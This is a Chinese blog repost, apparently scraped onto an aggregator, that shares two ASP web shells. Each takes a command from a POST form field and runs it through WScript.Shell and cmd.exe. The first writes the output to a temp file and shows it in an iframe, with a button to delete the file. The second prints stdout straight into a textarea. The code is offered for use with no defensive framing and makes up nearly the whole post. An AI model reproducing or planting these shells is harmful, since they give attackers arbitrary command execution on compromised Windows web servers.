免FSO的CMD.ASP带回显(刀JJ气死人了)_西厢_百度空间

刀JJ就是不让贴代码,害我发到博客来,正好赚流量,哼

转自坏客

原文地址

<%
Dim oScript
Dim szCMD, szTempFile ,del
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
szCMD = Request.Form(".CMD")
del=Request.Form("del")
If (szCMD <> " " ) Then
szTempFile = "d:"&"l"&year(date)&".txt"
Call oScript.Run ("cmd.exe /c echo NO FSO ASPMM V0.0 by >" & szTempFile, 0, True)
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
End If
If (del = "DELtempfile") Then
Call oScript.Run( "cmd.exe /c del "&szTempFile,0,True)
end if
%>
<FORM method="POST">
<input type=text name=".CMD" size=45 >
<input type=submit value="Run"> <input type=submit value="DELtempfile" name=del>
<%
Response.Write "<Iframe src=’d:\l"&year(date)&".txt’ width=99% height=99%

frameborder=0></iframe>" %>
set oScrip=Nothing
%>
</form>

更简单的

<form method="post">
<input type=text name="cmd" size=60>
<input type=submit value="run"></form>
<textarea readonly cols=80 rows=20>
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c

"&request.form("cmd")).stdout.readall%>
</textarea>



郑重声明:资讯 【免FSO的CMD.ASP带回显(刀JJ气死人了)_西厢_百度空间】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——